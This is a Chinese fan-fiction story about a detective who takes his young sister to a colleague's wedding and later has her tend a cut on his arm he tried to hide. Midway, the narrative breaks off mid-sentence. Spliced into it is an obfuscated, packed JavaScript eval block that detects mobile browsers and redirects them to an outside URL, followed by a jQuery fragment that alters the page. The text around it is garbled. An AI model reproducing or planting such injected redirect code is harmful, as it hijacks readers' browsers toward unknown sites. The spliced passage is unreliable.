昭八岁那年的夏天，刑事课的中村前辈要结婚了。
收到请柬时，我有些意外，不是意外中村会结婚，而是意外他会邀请我的妹妹。他甚至还特意在请柬上我的名字旁边端端正正写着妹妹的名字。
“中村叔叔要结婚啦？”昭看见请柬上的婚纱图案，眼睛亮起来，“新娘子漂亮吗？”
“昭去了就知道。”我把请柬收好，“不过那天要穿得正式一点哦。”
“昭有裙子！”她立刻跑进房间，翻出春天时买的那条红色连衣裙，就是她在商场看了很久却没要的那条，后来我偷偷买下来，在她生日时送给了她。我记得那时候的妹妹穿着裙子可臭屁了。
婚礼在一个周六的下午。我穿上一套西装，昭穿上红裙子，头发梳成两个整齐的小辫子，还别上了她珍藏的带小珍珠的发卡。“哥哥，好看吗？”她在镜子前转了个圈。
“好看。”我蹲下来帮她整理裙摆，“像个小公主。”
婚礼会场布置得很温馨，没有太多奢华装饰，白玫瑰和绿色藤蔓缠绕成简单的拱门。中村穿着黑色礼服站在门口迎宾，看见我们时，他点了点头，目光落在昭身上时，那张一贯严肃的脸上，竟露出一丝极淡的笑意。
“中村叔叔今天好帅！”昭毫不吝啬地夸奖。
中村轻咳一声：“……谢谢。”
“新娘子呢？”
“在里面。”中村指了指会场，“去找她吧，她会喜欢你的。”
昭拉着我的手走进会场。新娘是个看起来温和干练的女性，穿着简洁的婚纱，正在和几位长辈说话。看见昭，她眼睛一亮：“你就是昭酱吧？中村经常提起你。”昭有些害羞地躲到我身后，但又忍不住探出头：“阿姨好漂亮。”
新娘笑了，蹲下来和昭平视：“谢谢昭酱。今天要玩得开心哦。”
婚礼仪式简单而庄重。昭坐在我旁边，全程坐得笔直，小脸严肃得像在参加什么重要会议。交换戒指时，她紧紧抓住我的手，小声说：“哥哥，中村叔叔笑了。”
“嗯。”我点头。妹妹又继续说：“笑得很大。”
确实。宣誓时，中村看着新娘的眼神，是我从未见过的温柔，当然脸上也是抑制不住的笑容。
仪式后的合影环节，刑事课的同事们聚在一起。课长招呼我：“伏黑，带你妹妹一起来！”昭有些紧张，我牵着她走过去。大家自动让出身边的位置，不挤到妹妹。中村和新娘站在最中间，我和昭被推到他们旁边。
“大家，看镜头！”摄影师喊。
昭仰头看我，我点点头，她才转向镜头，露出一个大大的笑容，还比了个耶。我下意识地把她抱起来，就像她小时候那样。她也顺势搂住我的脖子，另一只手继续比着耶。
快门按下。
后来拿到照片时，我看见自己脸上是毫无负担的笑容。昭在我怀里，红裙子像一团小小的火焰，辫子上的珍珠发卡在闪光灯下微微反光。她笑得眼睛都眯起来了，比耶的手势坚定又可爱。
中村把这张照片洗出来，装在相框里，放在刑事课的办公桌上。同事们经过时总会多看两眼，有人说：“伏黑，你妹妹真是我们课的非正式吉祥物啊。”
昭确实成了刑事课的“心头宝”。她偶尔来等我下班时，会有同事给她带糖果，课长会问她学校的事，连最不苟言笑的档案管理阿姨，都会偷偷塞给她一小包仙贝。
“昭喜欢去哥哥工作的地方。”有一次她这么说，“因为大家都对昭好。”
“那是因为昭对大家好。”我说。
她想了想，点头：“嗯！昭要对大家好，这样大家就会开心。”
八岁的昭，已经开始理解我对大家好，大家对我好的抽象概念了。或者说她知道这个理念的正确性，并且一直为此付出行动。
但生活不总是温馨的合照和糖果。
九月初的一个晚上，我处理一起便利店抢劫案的现场时，被破碎的玻璃划伤了手臂。伤口不深，但血流了不少。同行的同事要送我去医院，我拒绝了。因为只是皮外伤，包扎一下就好。
“可是伏黑，你妹妹……”同事欲言又止。
“别告诉她。”我说，“就说我加班。”
我在警视厅的医务室处理了伤口，打了破伤风针，换了件长袖衬衫遮住绷带。回到家时已经晚上九点多，昭在沙发上睡着了，怀里还抱着作业本。
我轻轻抱起她，想把她送回房间，但她醒了。
“哥哥……”她揉着眼睛，“好晚。”
“嗯，今天有点忙。”我尽量让声音平稳，“昭先去睡觉。”
“哥哥吃饭了吗？”
“吃了。”其实是撒谎，我什么都没吃。
她点点头，又闭上眼睛。我松了口气，以为瞒过去了。但第二天早上，真相大白了。
我换衣服时，昭正好推门进来叫我吃早餐。衬衫袖子卷到一半，绷带露了出来。
空气凝固了几秒。
昭盯着我的手臂，小脸慢慢涨红。不是害羞，是生气。
“哥哥，”她的声音在抖，“这是什么？”
“没什么，不小心划了一下。”我试图轻描淡写。
“骗人！”她第一次对我用这么大的声音，“是受伤了！哥哥受伤了！”
她冲过来，想碰又不敢碰，眼泪已经在眼眶里打转：“什么时候？怎么受伤的？疼不疼？”我蹲下来，想抱她，但她后退了一步。“昭在问哥哥话！”她抹了把眼睛，努力让声音不发抖，“哥哥要说实话！”
那是我第一次见到昭这么生气，她站在那儿，小小的身体绷得笔直，手攥成拳头，像只炸毛的小猫。样子就像是妈妈看到我出去玩受伤的样子。我忍不住恍惚了一下。
“昨晚工作的时候，被玻璃划到了。”我老实交代，“不深，已经处理过了。”
“为什么不告诉昭？”
“因为不想让昭担心。”
“可是昭更担心！”她的眼泪终于掉下来，“哥哥不说，昭会更害怕！万一……万一很严重呢？万一……”她说不下去了，只是哭，哭得上气不接下气。我慌了，想抱她，她挣扎，但最后还是被我搂进怀里。
“对不起。”我拍着她的背，“哥哥错了。”
“哥哥大笨蛋！”她把脸埋在我胸口，声音闷闷的，“受伤了要说！疼了要说！昭是哥哥的妹妹，昭要知道！”
“嗯，哥哥知道了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437225|200975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“以后不许这样！”
“好。”
“要发誓！”
“我发誓。”
她哭了好一会儿才平静下来，然后从我怀里退出来，红着眼睛，抽着鼻子，用最严肃的表情说：“现在，给昭看伤口。”
我卷起袖子。绷带是昨晚新换的，很干净。她小心地摸了摸边缘，问：“疼吗？”
“不疼了。”
“医生怎么说？”
“每天换药，一周左右就好了。”
“药呢？”
“在包里。”
“拿来，昭帮哥哥换。”
我愣住了：“昭会吗？”
“不会就学！”她瞪我，“哥哥教昭。”
于是那个周六的早晨，变成了伤口护理教学时间。昭洗干净手，我一步步教她怎么拆绷带，怎么用碘伏消毒，怎么涂药膏，怎么包新的绷带。她学得很认真，小手有些抖，但动作很轻。
“这样疼吗？”
“不疼。”
“这样呢？”
“也不疼。”
最后她打了个歪歪扭扭的结，退后一步审视自己的作品，不太满意：“没有医生包得好。”
“但这是昭包的，所以最好。”我说。
她终于笑了，虽然眼睛还红着。然后她跑去拿来医药箱，翻出创可贴，那种给儿童用的印着卡通图案的创可贴。“哥哥伸手。”她在伤口旁边的位置贴了一张粉色的，印着小兔子的创口贴。“这是标记。”她认真地说，“有标记的地方，哥哥要小心，不能再受伤了。”
周一我去上班时，手臂上还贴着那张兔子创可贴。同事看见了，好奇地问：“伏黑，你这……”
“我妹妹贴的。”我有些无奈，但更多的是温暖。课长正好经过，听见了，大笑起来：“伏黑，很可爱的勋章啊！”中村也在，他没笑，但点了点头：“挺好。”
午休时，昭打电话到我的手机上，这是她第一次主动打电话来。
“哥哥，”她的声音透过听筒传来，“伤口还好吗？”
“很好。”我回答。
“药换了吗？”
“换了。”
“真的？”
“真的，不信你问中村叔叔。”
电话那头沉默了几秒，然后她说：“哥哥，昭还是有点生气。”
“对不起。”
“但是昭更爱哥哥。”她说，“所以哥哥要好好的，知道吗？”
“知道。”
“那昭去吃饭了。哥哥也要吃饭。”
“好。”
挂断电话，我坐在座位上，看着手臂上那张已经开始卷边的兔子创可贴。粉色的，幼稚的，和严肃的警视厅格格不入。
但我舍不得撕掉。
那天下午，中村经过我座位时，放下一盒东西。我打开看，是儿童用的卡通创可贴，各种图案都有。“给你妹妹的。”他说完就走了。
我拿起来一看，里面很多小动物的卡通形象，非常符合妹妹现在的审美。我都能想象到把这个创口贴给妹妹的时候，我没好的手臂上会出现好几个可爱的小动物。然后同事们还要继续打趣我。
哎，甜蜜的苦恼。